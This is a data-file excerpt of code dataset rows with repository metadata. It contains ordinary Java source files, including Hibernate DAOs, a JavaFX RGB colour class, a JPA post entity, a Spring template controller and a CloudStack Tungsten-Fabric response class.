blob_id
stringlengths 40
40
| __id__
int64 225
39,780B
| directory_id
stringlengths 40
40
| path
stringlengths 6
313
| content_id
stringlengths 40
40
| detected_licenses
list | license_type
stringclasses 2
values | repo_name
stringlengths 6
132
| repo_url
stringlengths 25
151
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
70
| visit_date
timestamp[ns] | revision_date
timestamp[ns] | committer_date
timestamp[ns] | github_id
int64 7.28k
689M
⌀ | star_events_count
int64 0
131k
| fork_events_count
int64 0
48k
| gha_license_id
stringclasses 23
values | gha_fork
bool 2
classes | gha_event_created_at
timestamp[ns] | gha_created_at
timestamp[ns] | gha_updated_at
timestamp[ns] | gha_pushed_at
timestamp[ns] | gha_size
int64 0
40.4M
⌀ | gha_stargazers_count
int32 0
112k
⌀ | gha_forks_count
int32 0
39.4k
⌀ | gha_open_issues_count
int32 0
11k
⌀ | gha_language
stringlengths 1
21
⌀ | gha_archived
bool 2
classes | gha_disabled
bool 1
class | content
stringlengths 7
4.37M
| src_encoding
stringlengths 3
16
| language
stringclasses 1
value | length_bytes
int64 7
4.37M
| extension
stringclasses 24
values | filename
stringlengths 4
174
| language_id
stringclasses 1
value | entities
list | contaminating_dataset
stringclasses 0
values | malware_signatures
list | redacted_content
stringlengths 7
4.37M
| redacted_length_bytes
int64 7
4.37M
| alphanum_fraction
float32 0.25
0.94
| alpha_fraction
float32 0.25
0.94
| num_lines
int32 1
84k
| avg_line_length
float32 0.76
99.9
| std_line_length
float32 0
220
| max_line_length
int32 5
998
| is_vendor
bool 2
classes | is_generated
bool 1
class | max_hex_length
int32 0
319
| hex_fraction
float32 0
0.38
| max_unicode_length
int32 0
408
| unicode_fraction
float32 0
0.36
| max_base64_length
int32 0
506
| base64_fraction
float32 0
0.5
| avg_csv_sep_count
float32 0
4
| is_autogen_header
bool 1
class | is_empty_html
bool 1
class | shard
stringclasses 16
values |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
7596450e11fcfd8a26607cee23c6a91aedccab10
| 31,224,412,273,649 |
50711f948861878d88de915ea3b9f525c7e11d2b
|
/Spring-Hibernate-Integration-Using-Maven/HibernateExamples/src/main/java/com/technicalkeeda/dao/impl/MovieDaoImpl.java
|
b1063d6aced06370c5ab2db24ee0de81178f325e
|
[] |
no_license
|
tuananh00473/PracticeSpring
|
https://github.com/tuananh00473/PracticeSpring
|
a0bbd7381feae8db1b8ccd8aaeb76bb4ce71eaf9
|
c38ef464c2f84ee5ac8a320e36ab21090f57a12a
|
refs/heads/master
| 2021-01-01T19:24:44.684000 | 2013-06-25T10:43:06 | 2013-06-25T10:43:06 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.technicalkeeda.dao.impl;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate3.HibernateTemplate;
import com.technicalkeeda.dao.MovieDao;
import com.technicalkeeda.entities.Movie;
public class MovieDaoImpl implements MovieDao {
private HibernateTemplate hibernateTemplate;
public void setSessionFactory(SessionFactory sessionFactory) {
this.hibernateTemplate = new HibernateTemplate(sessionFactory);
}
@Override
public void createMovie(Movie movie) {
hibernateTemplate.saveOrUpdate(movie);
}
}
|
UTF-8
|
Java
| 547 |
java
|
MovieDaoImpl.java
|
Java
|
[] | null |
[] |
package com.technicalkeeda.dao.impl;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate3.HibernateTemplate;
import com.technicalkeeda.dao.MovieDao;
import com.technicalkeeda.entities.Movie;
public class MovieDaoImpl implements MovieDao {
private HibernateTemplate hibernateTemplate;
public void setSessionFactory(SessionFactory sessionFactory) {
this.hibernateTemplate = new HibernateTemplate(sessionFactory);
}
@Override
public void createMovie(Movie movie) {
hibernateTemplate.saveOrUpdate(movie);
}
}
| 547 | 0.826325 | 0.824497 | 22 | 23.90909 | 23.813498 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.818182 | false | false |
0
|
bfef30c4e258e40196ecdbcc9728404e156482ae
| 3,504,693,373,659 |
ed17559215baf8dbf6f5e5775c4a728f9a4145e1
|
/src/main/java/com/bloidonia/fxtools/gradient/RGB.java
|
14900c1a977799a3f04bbbb9bbdb689bb20d5f07
|
[
"Apache-2.0"
] |
permissive
|
timyates/GradientExtractorFX
|
https://github.com/timyates/GradientExtractorFX
|
90bb85923d745129b1bb07db3270e995ed0ae92c
|
db1bf5adc750939b745fbbd468e36e27d47e1c79
|
refs/heads/master
| 2021-05-15T01:47:08.386000 | 2017-05-20T08:40:09 | 2017-05-20T08:40:09 | 16,219,018 | 3 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.bloidonia.fxtools.gradient;
import javafx.scene.paint.Color;
/**
*
* @author tyates
*/
public class RGB {
private final int r, g, b ;
public RGB( int r, int g, int b ) {
this.r = r ;
this.g = g ;
this.b = b ;
}
public RGB withBrightness( float c ) {
return new RGB( (int)( r * c ), (int)( g * c ), (int)( b * c ) ) ;
}
public int getColor() {
return 0xFF000000 |
( ( r << 16 ) & 0xFF0000 ) |
( ( g << 8 ) & 0xFF00 ) |
( ( b ) & 0xFF ) ;
}
public int getR() {
return r ;
}
public int getG() {
return g ;
}
public int getB() {
return b ;
}
public static RGB fromFX( Color color ) {
return new RGB( (int)( color.getRed() * 255 ) & 0xFF,
(int)( color.getGreen() * 255 ) & 0xFF,
(int)( color.getBlue() * 255 ) & 0xFF ) ;
}
@Override
public String toString() {
return String.format( "%02x%02x%02x", r, g, b ) ;
}
@Override
public int hashCode() {
int hash = 5;
hash = 31 * hash + this.r;
hash = 31 * hash + this.g;
hash = 31 * hash + this.b;
return hash;
}
@Override
public boolean equals( Object obj ) {
if( obj == null ) {
return false;
}
if( getClass() != obj.getClass() ) {
return false;
}
final RGB other = (RGB)obj;
if( this.r != other.r ) {
return false;
}
if( this.g != other.g ) {
return false;
}
if( this.b != other.b ) {
return false;
}
return true;
}
}
|
UTF-8
|
Java
| 1,956 |
java
|
RGB.java
|
Java
|
[
{
"context": "mport javafx.scene.paint.Color;\n\n/**\n *\n * @author tyates\n */\npublic class RGB {\n private final int r, g",
"end": 285,
"score": 0.999625563621521,
"start": 279,
"tag": "USERNAME",
"value": "tyates"
}
] | null |
[] |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.bloidonia.fxtools.gradient;
import javafx.scene.paint.Color;
/**
*
* @author tyates
*/
public class RGB {
private final int r, g, b ;
public RGB( int r, int g, int b ) {
this.r = r ;
this.g = g ;
this.b = b ;
}
public RGB withBrightness( float c ) {
return new RGB( (int)( r * c ), (int)( g * c ), (int)( b * c ) ) ;
}
public int getColor() {
return 0xFF000000 |
( ( r << 16 ) & 0xFF0000 ) |
( ( g << 8 ) & 0xFF00 ) |
( ( b ) & 0xFF ) ;
}
public int getR() {
return r ;
}
public int getG() {
return g ;
}
public int getB() {
return b ;
}
public static RGB fromFX( Color color ) {
return new RGB( (int)( color.getRed() * 255 ) & 0xFF,
(int)( color.getGreen() * 255 ) & 0xFF,
(int)( color.getBlue() * 255 ) & 0xFF ) ;
}
@Override
public String toString() {
return String.format( "%02x%02x%02x", r, g, b ) ;
}
@Override
public int hashCode() {
int hash = 5;
hash = 31 * hash + this.r;
hash = 31 * hash + this.g;
hash = 31 * hash + this.b;
return hash;
}
@Override
public boolean equals( Object obj ) {
if( obj == null ) {
return false;
}
if( getClass() != obj.getClass() ) {
return false;
}
final RGB other = (RGB)obj;
if( this.r != other.r ) {
return false;
}
if( this.g != other.g ) {
return false;
}
if( this.b != other.b ) {
return false;
}
return true;
}
}
| 1,956 | 0.4591 | 0.436605 | 87 | 21.482759 | 18.798302 | 79 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.482759 | false | false |
0
|
e5c0739bef29028e56ded1c5ceaa9b44908df35b
| 16,544,214,037,214 |
96674478ffc4ec3464159fecc6d6559fec8ce56c
|
/src/com/cn/dao/hibernate/ErrorCodeDAO.java
|
a2161493e447d2322d4c5f6b9ca4418315812862
|
[] |
no_license
|
TheXs/GitRepository
|
https://github.com/TheXs/GitRepository
|
9de6145eff227a42d99cb588bdccddb8543a89a6
|
6814dbaa91c3fb0660a241750db8596ea09ab14a
|
refs/heads/master
| 2020-03-09T22:59:11.726000 | 2019-09-23T06:24:23 | 2019-09-23T06:24:23 | 129,048,023 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.cn.dao.hibernate;
import org.springframework.dao.DataAccessException;
import com.cn.dao.IErrorCodeDAO;
import com.cn.entity.BaseEntity;
import com.cn.entity.ErrorCode;
/**
* 错误码DAO
*
* @author alexdu
*
*/
public class ErrorCodeDAO extends BaseDAO implements IErrorCodeDAO {
@SuppressWarnings("rawtypes")
protected Class getEntityClass() {
return ErrorCode.class;
}
@Override
public BaseEntity load(int id) throws DataAccessException {
ErrorCode result = null;
try {
result = ErrorCode.load(id);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null == result){
return super.load(id);
}
}
return result;
}
@Override
public BaseEntity load(Integer id) throws DataAccessException {
return load(id.intValue());
}
@Override
public BaseEntity load(String id) throws DataAccessException {
return load(Integer.parseInt(id));
}
}
|
UTF-8
|
Java
| 913 |
java
|
ErrorCodeDAO.java
|
Java
|
[
{
"context": "n.entity.ErrorCode;\n\n\n/**\n * 错误码DAO\n * \n * @author alexdu\n * \n */\npublic class ErrorCodeDAO extends BaseDAO",
"end": 219,
"score": 0.9996383786201477,
"start": 213,
"tag": "USERNAME",
"value": "alexdu"
}
] | null |
[] |
package com.cn.dao.hibernate;
import org.springframework.dao.DataAccessException;
import com.cn.dao.IErrorCodeDAO;
import com.cn.entity.BaseEntity;
import com.cn.entity.ErrorCode;
/**
* 错误码DAO
*
* @author alexdu
*
*/
public class ErrorCodeDAO extends BaseDAO implements IErrorCodeDAO {
@SuppressWarnings("rawtypes")
protected Class getEntityClass() {
return ErrorCode.class;
}
@Override
public BaseEntity load(int id) throws DataAccessException {
ErrorCode result = null;
try {
result = ErrorCode.load(id);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null == result){
return super.load(id);
}
}
return result;
}
@Override
public BaseEntity load(Integer id) throws DataAccessException {
return load(id.intValue());
}
@Override
public BaseEntity load(String id) throws DataAccessException {
return load(Integer.parseInt(id));
}
}
| 913 | 0.716648 | 0.716648 | 46 | 18.73913 | 19.050774 | 68 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.347826 | false | false |
0
|
caa2b883d7e309ea1161e25d2f0cf4499f631505
| 4,423,816,318,616 |
80d2101dc10c0e7ff59147e857d8307c19e87b6b
|
/src/main/java/com/revaso/revaso/models/Post.java
|
842108549900c8b334cff7821be8fbbffc8e44d9
|
[] |
no_license
|
samjones-ship-it/Revasocial
|
https://github.com/samjones-ship-it/Revasocial
|
307fd120f1e6c17107c10d6610de2d5b86c93075
|
50240421c981b14372c295acc0d4f893dc8b8223
|
refs/heads/master
| 2022-04-28T03:08:12.053000 | 2020-04-21T19:25:00 | 2020-04-21T19:25:00 | 257,693,341 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.revaso.revaso.models;
import com.fasterxml.jackson.annotation.JsonIgnore;
import javax.persistence.*;
import javax.validation.constraints.NotBlank;
/**
*
* @author Sam, Lucnel, Niroj, Jimmy
*
* Post class is the model class responsible for creating table named POST which contains five fields.Such as,
* Post_ID, User_ID, Post_Title,Post_Body and Num_Likes.
* Post_ID is the primary key in this table and it is generating automatically.
*
* This class has ManyToOne relationship and The using @JoinColumn,
* annotation helps us specify the column we'll use for joining an entity association or element collection.
*
*Setters and Getters have been used for update and retrieve values .
*/
@Entity
@Table(name = "POST")
public class Post {
@Id
@Column(name = "POST_ID", nullable = false)
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
// @Column(name = "USER_ID", nullable = false)
// private int userId;
@Column(name = "POST_TITLE", nullable = false)
@NotBlank( message = "Post must have a title")
private String postTitle;
@Column(name = "POST_BODY", nullable = false)
@NotBlank( message = "Post must have a body")
private String postBody;
@Column(name = "NUM_LIKES")
private int numLikes;
@Column(name = "POST_IMAGE")
private String postImage;
//private List<Ulike> whoseLiked;
@ManyToOne(targetEntity= Author.class, cascade = CascadeType.ALL, fetch = FetchType.EAGER)
// @JsonIgnore
private Author author;
// private Long author_id;
public Post() {
}
public String getPostTitle() {
return postTitle;
}
public void setPostTitle(String postTitle) {
this.postTitle = postTitle;
}
public String getPostBody() {
return postBody;
}
public void setPostBody(String postBody) {
this.postBody = postBody;
}
public int getNumLikes() {
return numLikes;
}
public void setNumLikes(int numLikes) {
this.numLikes = numLikes;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getPostImage() {
return postImage;
}
public void setPostImage(String postImage) {
this.postImage = postImage;
}
public Author getAuthor() {
return author;
}
public void setAuthor(Author author) {
this.author = author;
}
// @Override
// public String toString() {
// return "Post{" +
// "id=" + id +
// ", postTitle='" + postTitle + '\'' +
// ", postBody='" + postBody + '\'' +
// ", numLikes=" + numLikes +
// ", postImage='" + postImage + '\'' +
// ", author=" + author +
// '}';
// }
/**
* toString method to return the retrieved data.
*/
}
/**
* Constructs and initializes a post.
* @param postId Id of the post.
* @param userId Id of the post creator.
* @param postTitle Title of the post.
* @param postBody Actual post written by user.
* @param numLikes The number of likes received by other users.
* @param profiles The other users profile who liked the post.
*/
/**
* Constructs and initializes a post.
* @param postId Id of the post.
* @param userId Id of the post creator.
* @param postTitle Title of the post.
* @param postBody Actual post written by user.
* @param numLikes The number of likes received by other users.
*/
|
UTF-8
|
Java
| 3,284 |
java
|
Post.java
|
Java
|
[
{
"context": "lidation.constraints.NotBlank;\n\n/**\n * \n * @author Sam, Lucnel, Niroj, Jimmy\n * \n * Post class is the mo",
"end": 185,
"score": 0.9992157220840454,
"start": 182,
"tag": "NAME",
"value": "Sam"
},
{
"context": "ion.constraints.NotBlank;\n\n/**\n * \n * @author Sam, Lucnel, Niroj, Jimmy\n * \n * Post class is the model clas",
"end": 193,
"score": 0.9903334379196167,
"start": 187,
"tag": "NAME",
"value": "Lucnel"
},
{
"context": "traints.NotBlank;\n\n/**\n * \n * @author Sam, Lucnel, Niroj, Jimmy\n * \n * Post class is the model class respo",
"end": 200,
"score": 0.9996869564056396,
"start": 195,
"tag": "NAME",
"value": "Niroj"
},
{
"context": ".NotBlank;\n\n/**\n * \n * @author Sam, Lucnel, Niroj, Jimmy\n * \n * Post class is the model class responsible ",
"end": 207,
"score": 0.9996380805969238,
"start": 202,
"tag": "NAME",
"value": "Jimmy"
}
] | null |
[] |
package com.revaso.revaso.models;
import com.fasterxml.jackson.annotation.JsonIgnore;
import javax.persistence.*;
import javax.validation.constraints.NotBlank;
/**
*
* @author Sam, Lucnel, Niroj, Jimmy
*
* Post class is the model class responsible for creating table named POST which contains five fields.Such as,
* Post_ID, User_ID, Post_Title,Post_Body and Num_Likes.
* Post_ID is the primary key in this table and it is generating automatically.
*
* This class has ManyToOne relationship and The using @JoinColumn,
* annotation helps us specify the column we'll use for joining an entity association or element collection.
*
*Setters and Getters have been used for update and retrieve values .
*/
@Entity
@Table(name = "POST")
public class Post {
@Id
@Column(name = "POST_ID", nullable = false)
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
// @Column(name = "USER_ID", nullable = false)
// private int userId;
@Column(name = "POST_TITLE", nullable = false)
@NotBlank( message = "Post must have a title")
private String postTitle;
@Column(name = "POST_BODY", nullable = false)
@NotBlank( message = "Post must have a body")
private String postBody;
@Column(name = "NUM_LIKES")
private int numLikes;
@Column(name = "POST_IMAGE")
private String postImage;
//private List<Ulike> whoseLiked;
@ManyToOne(targetEntity= Author.class, cascade = CascadeType.ALL, fetch = FetchType.EAGER)
// @JsonIgnore
private Author author;
// private Long author_id;
public Post() {
}
public String getPostTitle() {
return postTitle;
}
public void setPostTitle(String postTitle) {
this.postTitle = postTitle;
}
public String getPostBody() {
return postBody;
}
public void setPostBody(String postBody) {
this.postBody = postBody;
}
public int getNumLikes() {
return numLikes;
}
public void setNumLikes(int numLikes) {
this.numLikes = numLikes;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getPostImage() {
return postImage;
}
public void setPostImage(String postImage) {
this.postImage = postImage;
}
public Author getAuthor() {
return author;
}
public void setAuthor(Author author) {
this.author = author;
}
// @Override
// public String toString() {
// return "Post{" +
// "id=" + id +
// ", postTitle='" + postTitle + '\'' +
// ", postBody='" + postBody + '\'' +
// ", numLikes=" + numLikes +
// ", postImage='" + postImage + '\'' +
// ", author=" + author +
// '}';
// }
/**
* toString method to return the retrieved data.
*/
}
/**
* Constructs and initializes a post.
* @param postId Id of the post.
* @param userId Id of the post creator.
* @param postTitle Title of the post.
* @param postBody Actual post written by user.
* @param numLikes The number of likes received by other users.
* @param profiles The other users profile who liked the post.
*/
/**
* Constructs and initializes a post.
* @param postId Id of the post.
* @param userId Id of the post creator.
* @param postTitle Title of the post.
* @param postBody Actual post written by user.
* @param numLikes The number of likes received by other users.
*/
| 3,284 | 0.6757 | 0.6757 | 144 | 21.770834 | 23.006254 | 110 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.236111 | false | false |
0
|
784553d57c4924a341cf71f75b787dd12ba6ea77
| 28,647,431,875,088 |
634e3328d7373df19443d5bfa3ed4d1460e40184
|
/back-end/src/main/java/com/syouketu/modules/project/api/TemplateController.java
|
22d8f285fe3e67ce6f817e87eda77fa2ed13df16
|
[
"Apache-2.0"
] |
permissive
|
syouketu/code-generator
|
https://github.com/syouketu/code-generator
|
c4ba0a7f64a3edf4ba53295464a2a702bba53412
|
fabe0da50aedff607602f215ee009a487e3a62ca
|
refs/heads/main
| 2023-07-15T07:03:24.798000 | 2021-08-27T02:30:23 | 2021-08-27T02:30:23 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.syouketu.modules.project.api;
import com.baomidou.mybatisplus.plugins.Page;
import com.syouketu.modules.common.dto.output.ApiResult;
import com.syouketu.modules.project.dto.input.TemplateQueryPara;
import com.syouketu.modules.project.dto.output.TemplateView;
import com.syouketu.modules.project.entity.Project;
import com.syouketu.modules.project.entity.Template;
import com.syouketu.modules.project.service.ITemplateService;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
/**
* <p>
* 项目代码模板表 接口
* </p>
*
* @author: JXI
* @description:
* @date: Created on 2019-07-08
*/
@RestController
@RequestMapping("/api/project/template")
@Api(description = "项目代码模板表接口")
public class TemplateController {
@Autowired
ITemplateService templateService;
@RequestMapping(value = "/listPage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "获取项目代码模板表列表分页", httpMethod = "POST", response = TemplateView.class, notes = "获取项目代码模板表列表分页")
public ApiResult listPage(@RequestBody TemplateQueryPara filter) {
Page<TemplateView> page = new Page<>(filter.getPage(), filter.getLimit());
templateService.listPage(page, filter);
return ApiResult.ok("获取项目代码模板表列表分页成功", page);
}
@RequestMapping(value = "/list", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "获取项目代码模板表列表", httpMethod = "POST", response = TemplateView.class, notes = "获取项目代码模板表列表")
public ApiResult list(@RequestBody TemplateQueryPara filter) {
List<TemplateView> result = templateService.list(filter);
return ApiResult.ok("获取项目代码模板表列表成功", result);
}
@RequestMapping(value = "/save", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "保存项目代码模板表", httpMethod = "POST", response = ApiResult.class, notes = "保存项目代码模板表")
public ApiResult save(@RequestBody Template input) {
Integer id = templateService.save(input);
return ApiResult.ok("保存项目代码模板表成功", id);
}
@RequestMapping(value = "/delete", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "删除项目代码模板表", httpMethod = "POST", response = ApiResult.class, notes = "删除项目代码模板表")
public ApiResult delete(@RequestBody TemplateQueryPara input) {
templateService.deleteById(input.getId());
return ApiResult.ok("删除项目代码模板表成功");
}
@RequestMapping(value = "/getById", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "获取项目代码模板表信息", httpMethod = "POST", response = Template.class, notes = "获取项目代码模板表信息")
public ApiResult getById(@RequestBody TemplateQueryPara input) {
Template entity = templateService.selectById(input.getId());
return ApiResult.ok("获取项目代码模板表信息成功", entity);
}
@RequestMapping(value = "/generateTemplate", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "生成项目代码模板", httpMethod = "POST", response = Project.class, notes = "生成项目代码模板")
public ApiResult generateTemplate(@RequestBody TemplateQueryPara input) {
templateService.generateTemplate(input.getProjectId());
return ApiResult.ok("生成项目代码模板成功");
}
}
|
UTF-8
|
Java
| 4,012 |
java
|
TemplateController.java
|
Java
|
[
{
"context": ";\n\n/**\n * <p>\n * 项目代码模板表 接口\n * </p>\n *\n * @author: JXI\n * @description:\n * @date: Created on 2019-07-08\n",
"end": 707,
"score": 0.9958478212356567,
"start": 704,
"tag": "USERNAME",
"value": "JXI"
}
] | null |
[] |
package com.syouketu.modules.project.api;
import com.baomidou.mybatisplus.plugins.Page;
import com.syouketu.modules.common.dto.output.ApiResult;
import com.syouketu.modules.project.dto.input.TemplateQueryPara;
import com.syouketu.modules.project.dto.output.TemplateView;
import com.syouketu.modules.project.entity.Project;
import com.syouketu.modules.project.entity.Template;
import com.syouketu.modules.project.service.ITemplateService;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
/**
* <p>
* 项目代码模板表 接口
* </p>
*
* @author: JXI
* @description:
* @date: Created on 2019-07-08
*/
@RestController
@RequestMapping("/api/project/template")
@Api(description = "项目代码模板表接口")
public class TemplateController {
@Autowired
ITemplateService templateService;
@RequestMapping(value = "/listPage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "获取项目代码模板表列表分页", httpMethod = "POST", response = TemplateView.class, notes = "获取项目代码模板表列表分页")
public ApiResult listPage(@RequestBody TemplateQueryPara filter) {
Page<TemplateView> page = new Page<>(filter.getPage(), filter.getLimit());
templateService.listPage(page, filter);
return ApiResult.ok("获取项目代码模板表列表分页成功", page);
}
@RequestMapping(value = "/list", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "获取项目代码模板表列表", httpMethod = "POST", response = TemplateView.class, notes = "获取项目代码模板表列表")
public ApiResult list(@RequestBody TemplateQueryPara filter) {
List<TemplateView> result = templateService.list(filter);
return ApiResult.ok("获取项目代码模板表列表成功", result);
}
@RequestMapping(value = "/save", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "保存项目代码模板表", httpMethod = "POST", response = ApiResult.class, notes = "保存项目代码模板表")
public ApiResult save(@RequestBody Template input) {
Integer id = templateService.save(input);
return ApiResult.ok("保存项目代码模板表成功", id);
}
@RequestMapping(value = "/delete", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "删除项目代码模板表", httpMethod = "POST", response = ApiResult.class, notes = "删除项目代码模板表")
public ApiResult delete(@RequestBody TemplateQueryPara input) {
templateService.deleteById(input.getId());
return ApiResult.ok("删除项目代码模板表成功");
}
@RequestMapping(value = "/getById", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "获取项目代码模板表信息", httpMethod = "POST", response = Template.class, notes = "获取项目代码模板表信息")
public ApiResult getById(@RequestBody TemplateQueryPara input) {
Template entity = templateService.selectById(input.getId());
return ApiResult.ok("获取项目代码模板表信息成功", entity);
}
@RequestMapping(value = "/generateTemplate", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
@ResponseBody
@ApiOperation(value = "生成项目代码模板", httpMethod = "POST", response = Project.class, notes = "生成项目代码模板")
public ApiResult generateTemplate(@RequestBody TemplateQueryPara input) {
templateService.generateTemplate(input.getProjectId());
return ApiResult.ok("生成项目代码模板成功");
}
}
| 4,012 | 0.727273 | 0.723369 | 83 | 42.216869 | 37.059395 | 122 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.831325 | false | false |
0
|
273100b100544191bf0539852b514bce5b94d71f
| 18,829,136,669,831 |
2c1dc7049d820d2b75811a6c0479bd34eb84ad87
|
/plugins/network-elements/tungsten/src/main/java/org/apache/cloudstack/network/tungsten/api/response/TungstenFabricProviderResponse.java
|
1e74818f60b0e8b1b3754d576a2e2d6f2779855d
|
[
"GPL-2.0-only",
"Apache-2.0",
"BSD-3-Clause",
"MIT",
"GPL-1.0-or-later",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"LicenseRef-scancode-unknown"
] |
permissive
|
apache/cloudstack
|
https://github.com/apache/cloudstack
|
3775c9171022dfaf91d655bd166149e36f4caa41
|
819dd7b75c1b61ae444c45476f5834dbfb9094d0
|
refs/heads/main
| 2023-08-30T15:05:36.976000 | 2023-08-30T09:29:16 | 2023-08-30T09:29:16 | 9,759,448 | 1,468 | 1,232 |
Apache-2.0
| false | 2023-09-14T16:57:46 | 2013-04-29T22:27:12 | 2023-09-14T13:24:51 | 2023-09-14T16:57:45 | 569,343 | 1,509 | 1,022 | 372 |
Java
| false | false |
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
package org.apache.cloudstack.network.tungsten.api.response;
import com.cloud.network.TungstenProvider;
import com.cloud.serializer.Param;
import com.google.gson.annotations.SerializedName;
import org.apache.cloudstack.api.ApiConstants;
import org.apache.cloudstack.api.BaseResponse;
import org.apache.cloudstack.api.EntityReference;
@EntityReference(value = {TungstenProvider.class})
public class TungstenFabricProviderResponse extends BaseResponse {
@SerializedName(ApiConstants.NAME)
@Param(description = "Tungsten-Fabric provider name")
private String name;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_UUID)
@Param(description = "Tungsten-Fabric provider uuid")
private String uuid;
@SerializedName(ApiConstants.ZONE_ID)
@Param(description = "Tungsten-Fabric provider zone id")
private long zoneId;
@SerializedName(ApiConstants.ZONE_NAME)
@Param(description = "Tungsten-Fabric provider zone name")
private String zoneName;
@SerializedName("securitygroupsenabled")
@Param(description = "true if security groups support is enabled, false otherwise")
private boolean securityGroupsEnabled;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_HOSTNAME)
@Param(description = "Tungsten-Fabric provider hostname")
private String hostname;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_PORT)
@Param(description = "Tungsten-Fabric provider port")
private String port;
@SerializedName(ApiConstants.TUNGSTEN_GATEWAY)
@Param(description = "Tungsten-Fabric provider gateway")
private String gateway;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_VROUTER_PORT)
@Param(description = "Tungsten-Fabric provider vrouter port")
private String vrouterPort;
@SerializedName(ApiConstants.TUNGSTEN_PROVIDER_INTROSPECT_PORT)
@Param(description = "Tungsten-Fabric provider introspect port")
private String introspectPort;
public long getZoneId() {
return zoneId;
}
public void setZoneId(final long zoneId) {
this.zoneId = zoneId;
}
public String getZoneName() {
return zoneName;
}
public void setZoneName(final String zoneName) {
this.zoneName = zoneName;
}
public boolean isSecurityGroupsEnabled() {
return securityGroupsEnabled;
}
public void setSecurityGroupsEnabled(final boolean securityGroupsEnabled) {
this.securityGroupsEnabled = securityGroupsEnabled;
}
public String getHostname() {
return hostname;
}
public void setHostname(String hostname) {
this.hostname = hostname;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPort() {
return port;
}
public void setPort(String port) {
this.port = port;
}
public String getUuid() {
return uuid;
}
public void setUuid(String uuid) {
this.uuid = uuid;
}
public String getGateway() {
return gateway;
}
public void setGateway(final String gateway) {
this.gateway = gateway;
}
public String getIntrospectPort() {
return introspectPort;
}
public void setIntrospectPort(final String introspectPort) {
this.introspectPort = introspectPort;
}
public String getVrouterPort() {
return vrouterPort;
}
public void setVrouterPort(final String vrouterPort) {
this.vrouterPort = vrouterPort;
}
}
|
UTF-8
|
Java
| 4,351 |
java
|
TungstenFabricProviderResponse.java
|
Java
|
[] | null |
[] |
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
package org.apache.cloudstack.network.tungsten.api.response;
